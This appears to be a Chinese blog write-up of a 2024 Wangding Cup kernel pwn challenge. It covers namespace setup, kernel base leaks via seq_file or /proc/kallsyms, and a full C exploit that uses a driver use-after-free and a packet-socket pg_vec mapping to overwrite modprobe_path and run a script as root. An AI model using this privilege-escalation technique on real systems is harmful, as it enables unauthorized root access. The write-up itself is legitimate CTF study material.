首页 > 其他分享 >网鼎杯 2024 玄武 pwn2 (kernel)

网鼎杯 2024 玄武 pwn2 (kernel)

时间:2024-11-19 20:42:05浏览次数:1  
标签:tmp kernel include edit 2024 fd path modprobe 网鼎杯

setup 准备工作

void unshare_setup() {
    char edit[0x100];
    int tmp_fd;

    // from lib pthread
    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    // from lib fcntl
    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    sprintf(edit, "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

这个函数的目的是为当前进程配置新的名字空间,尤其是 mountusernetwork 名字空间,确保进程在新的名字空间中有隔离的环境。此外,它通过设置 UID 和 GID 映射来确保进程在新的用户名字空间中以 root 用户身份 (UID 0) 运行,但在主机系统中仍保持原有的 UID 和 GID。这种做法通常用于容器技术或者其他需要进程隔离的场景。

如何泄露地址

seq_vec

什么结构体可以利用可以参考这个博客 kernel exploit 有用的结构体——spray&victim — bsauce

可以利用 seq_file 【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3's blog

序列文件接口(Sequence File Interface)是针对 procfs 默认操作函数每次只能读取一页数据从而难以处理较大 proc 文件的情况下出现的,其为内核编程提供了更为友好的接口

kallsyms 可读

其实这里可以不用泄露地址,直接读 kallsyms 文件就可以:

void read_line(int fd, char *buf, uint32_t size) {
    char tmp;
    for (uint32_t i = 0; i < size - 1; i++) {
        read(fd, &tmp, 1);
        if (tmp == 0xa || tmp == 0) {
            buf[i] = 0;
            break;
        }
        buf[i] = tmp;
    }
}

void leak_with_kallsyms() {
    int kallsyms_fd = open("/proc/kallsyms", O_RDONLY);
    char buf[0x30];

    while (1) {
        read_line(kallsyms_fd, buf, sizeof(buf));
        if (strstr(buf, "startup_64")) {
            char hex[0x20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &kbase);
            print_hex("kbase", kbase);
            break;
        }
    }
}

更改 modprobe_path

  • usma

    利用 mmap 的方式,用户态和内核态共享一段内存这样来修改内核里面 UAF 的 page

modprobe_path

modprobe_path 指向乐 modprobe 程序。何时触发:

构造一个非法的文件头,如 ffffffff,促使内核进入 call_modprobe 函数

计算 modprobe_path 地址的方式

>>> elf=ELF("vmlinux")
[*] '/mnt/e/ctf/2024/08 wdb/06d0521d9874d6adc5f2d8f8b7ade315/vmlinux'
    Arch:     amd64-64-little
    Version:  4.9.337
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0xffffffff81000000)
    Stack:    Executable
    RWX:      Has RWX segments
>>> hex(elf.sym["modprobe_path"]-0xffffffff81000000)
'0xe58b80'

pg_vec

可以利用 pg_vec 实现一个页面的写入

这个结构体可能在配置 socket 和 ring 的时候分配。setsockopt 是用来做这些设置的系统调用。这些操作通常用来优化数据包的发送性能,有效组织和管理数据包。

pg_vec 数组中的每个元素(struct pgv)都有一个 buffer 字段,该字段指向一个已经分配好的内存页。每个 buffer 用于存储协议栈需要处理的数据包或网络帧。

struct pgv {  
	char *buffer;   // 指向一个 page
};

先从源码的层面理解这些功能,有一个使用的例子:RX_RING is capturing TX_RING packets

我的 exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <arpa/inet.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define SEQ_NUM 0x100
#define SEQ_SIZE 0x20

uint32_t mod_fd;
uint64_t kbase;
uint64_t modprobe_path_addr = 0xe58b80;
int32_t seq[SEQ_NUM+0x1000];

// 设置 rx ring 的版本和一些参数
void packet_socket_rx_ring_init(uint32_t s, uint32_t block_size,
                                uint32_t frame_size, uint32_t block_nr) {
    // setup version
    int32_t v = TPACKET_V3; // 版本 3 zero-copy
    setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));

    // setup ring
    struct tpacket_req3 req = {
        .tp_block_size = block_size,
        .tp_frame_size = frame_size,
        .tp_block_nr = block_nr,
        .tp_frame_nr = (block_size * block_nr) / frame_size,
        .tp_sizeof_priv = 100
    };

    setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
}

int32_t packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                            unsigned int block_nr) {
    /*
        AF_PACKET: Low-level packet interface
        SOCK_RAW:  Provides raw network protocol access.
        ETH_P_ALL: Every packet that matches the protocol type will be received.
    */
    int32_t s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr);

    struct sockaddr_ll sa = {.sll_family = PF_PACKET,
                             .sll_protocol = htons(ETH_P_ALL),
                             .sll_ifindex = if_nametoindex("lo")};

    // 配置套接字绑定信息,绑定到环回接口
    // lo,使得它只接收来自该接口的以太网数据包。
    bind(s, (struct sockaddr *)&sa, sizeof(sa));

    return s;
}

void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }

void unshare_setup() {
    char edit[0x100];
    int tmp_fd;

    // from lib pthread
    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    // from lib fcntl
    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    sprintf(edit, "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

void leak() {
    mod_fd = open("/dev/easy", O_RDWR);
    ioctl(mod_fd, 0, SEQ_SIZE); // alloc

    

    for (uint32_t i = 0; i < SEQ_NUM; i++) {
        seq[i] = open("/proc/self/stat", O_RDONLY);
        if (i == SEQ_NUM / 2) {
            ioctl(mod_fd, 1); // free
        }
    }

    char buf[0x100] = {0};
    read(mod_fd, buf, SEQ_SIZE);
    for (uint32_t i = 0; i < SEQ_SIZE; i += 8) {
        print_hex("seq", *(uint64_t *)(buf + i));
    }
    kbase = *(uint64_t *)buf - 0x25bcc0;
    print_hex("kbase", kbase);

    modprobe_path_addr += kbase;
    print_hex("modprobe_path_addr", modprobe_path_addr);

    /*  output:
        ffffffffae65bcc0
        ffffffffae65bd00
        ffffffffae65bce0
        ffffffffae6aad80

        gef> kbase
        [+] Wait for memory scan
        kernel text:   0xffffffffae400000-0xffffffffaecb6000 (0x8b6000 bytes)
        kernel rodata: 0xffffffffaee00000-0xffffffffaf200000 (0x400000 bytes)
        kernel data:   0xffffffffaf200000-0xffffffffafa00000 (0x800000 bytes)
        */
}

void get_flag() {
	system("echo -ne '#!/bin/sh\ncat /flag > /tmp/flag\nchmod +x /tmp/flag' > /tmp/fakemp");
	system("chmod a+x /tmp/fakemp");
	system("echo -ne '\xff\xff\xff\xff' > /tmp/exec");
	system("chmod a+x /tmp/exec");
    system("/tmp/exec ; cat /tmp/flag");
    // system("/bin/sh");
}

void hack_modprode_path() {
    // block_size = 0x1000 一页

    ioctl(mod_fd, 0, SEQ_SIZE); // alloc
    ioctl(mod_fd, 1);           // free
    uint64_t modprobe_path_addr_base = modprobe_path_addr & ~0xfff;
    uint32_t i = SEQ_NUM;

    while (1) {
        // 为什么设置成 0x1000 和 3
        // 因为为了让 pg_vec 属于 0x20 的大小
        int packet_fd = packet_socket_setup(0x1000, 2048, 32 / 8 - 1);
        printf("fd %d\n", packet_fd);
        write(mod_fd, &modprobe_path_addr_base, 8);

        uint64_t page;

        page = (uint64_t) mmap(NULL, 0x1000*3, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fd,
                    0);
        uint64_t tmp_path = page + (modprobe_path_addr & 0xfff);
        if (!strcmp((char *)tmp_path, "/sbin/modprobe")) {
            printf("find modprobe_path\n");
            print_hex("tmp_path", tmp_path);
            strcpy((char *)tmp_path, "/tmp/fakemp");
            munmap((char *)page, 0x1000*3);
            get_flag();
            break;
        }

        seq[i] = open("/proc/self/stat", O_RDONLY);
        i++;

    }
}

int main() {
    unshare_setup();
    printf("start leak address\n");
    leak();
    printf("start attack modprode_path\n");
    hack_modprode_path();

    return 0;
}

标签:tmp,kernel,include,edit,2024,fd,path,modprobe,网鼎杯
From: https://www.cnblogs.com/91ac0m0/p/18555551

相关文章

  • 2024/11/19日 日志 数据结构实验(2)---栈实现表达式求值、队列应用(蓝桥杯)
    栈实现表达式求值问题:https://pintia.cn/problem-sets/1858366427985383424/exam/problems/type/7?problemSetProblemId=1858366732315615232解答:点击查看代码#include<bits/stdc++.h>usingnamespacestd;//运算符优先级intprecedence(charop){switch(op){......
  • 2024/11/18日 日志 数据结构实验(1)---链表逆置、线性表A,B顺序存储合并、双向循环链表应
    链表逆置题目:https://pintia.cn/problem-sets/1855808612225744896/exam/problems/type/6?problemSetProblemId=1855808768018968576解答:点击查看代码structListNode*reverse(structListNode*head){structListNode*prev=NULL;structListNode*current=head;......
  • 20222408 2024-2025-1 《网络与系统攻防技术》实验五实验报告
    1.实验内容1.1实验要求(1)选择一个DNS域名进行查询,获取如下信息:DNS注册人及联系方式、该域名对应IP地址、IP地址注册人及联系方式、IP地址所在国家、城市和具体地理位置。(2)尝试获取QQ中某一好友的IP地址,并查询获取该好友所在的具体地理位置。(3)使用nmap开源软件对靶机环境进行扫......
  • 2024年11月一区SCI-逃离优化算法Escape Algorithm-附Matlab免费代码
    引言本期介绍了一种受人群疏散行为的启发的元启发式优化算法,称为逃离优化算法EscapeAlgorithm,ESC。该算法于2024年11月最新发表在JCR1区,中科院2区TopSCI期刊 ArtificialIntelligenceReview。ESC的灵感来自于人们在紧急疏散期间的行为。本节解释人群疏散系统的背景,以及......
  • [考试记录] 2024.11.19 noip模拟赛17
    T1选取字符串warning❗:本题解前缀含量过高。挺典的kmp。考虑到题目中的串都是一个串的前缀,那么所选出来的串,他们的前缀一定是最短的那个串。不妨直接枚举每一个前缀,也就是枚举每一个串,看他们是否可以作为前缀出现,hash即可,复杂度\(\mathcal{O}(N^2)\)。换个思路,考虑有多......
  • 多校A层冲刺NOIP2024模拟赛24
    多校A层冲刺NOIP2024模拟赛24\(T1\)A.选取字符串\(100pts\)考虑建出失配树,然后等价于询问\(\sum\limits_{S\sube\{0,1,2,\dots,n\},|S|=k}dep_{\operatorname{LCA}\{S\}}^{2}\)。不妨从\(\operatorname{LCA}\)的角度考虑,统计\(x\)能作为多少个\(|S|\)......
  • 2024/11/19
    队列应用(蓝桥杯)分数10作者liudan单位石家庄铁道大学CLZ银行只有两个接待窗口,VIP窗口和普通窗口,VIP用户进入VIP窗口排队,剩下的进入普通窗口排队。现有M次操作,操作有四种类型,如下:INnameV:表示一名叫name的用户到VIP窗口排队OUTV:表示VIP窗口队头的用户离开......
  • 2024年全国职业院校技能大赛中职组《大数据应用与服务赛项》赛项赛题解析第三模块
      职业院校技能大赛大数据应用与服务交流群:q743959419目录模块三:数据分析与可视化任务一:数据分析与可视化子任务一:柱状图数据分析与可视化子任务二:折线图数据分析与可视化子任务三:饼图数据分析与可视化子任务四:雷达图数据分析与可视化任务二:数据分析子任务一:Excel......
  • 【SolidWorks 2024下载与安装教程】
    ‌SolidWorks2024是一款由达索系统(DassaultSystemes)开发的三维CAD软件,广泛应用于机械设计、产品开发、工程设计、制造等领域。‌ 该软件以其强大的功能和易学易用的特点,深受工程师和设计师的喜爱。SolidWorks2024在2024版本中引入了一系列新功能和改进,旨在提高设计效率、增......
  • [71] (多校联训) A层冲刺NOIP2024模拟赛24
    bydT3放道这种题有什么深意吗flowchartTB A(选取字符串) styleAcolor:#ffffff,fill:#00c0c0,stroke:#ffffff确实是签,但是一直在想组合意义,最后因为没提前处理逆元遗憾离场了,赛后看题解发现的确是往树上转化更简单点赛时的组合意义代码没过#include<bits/stdc++.h>us......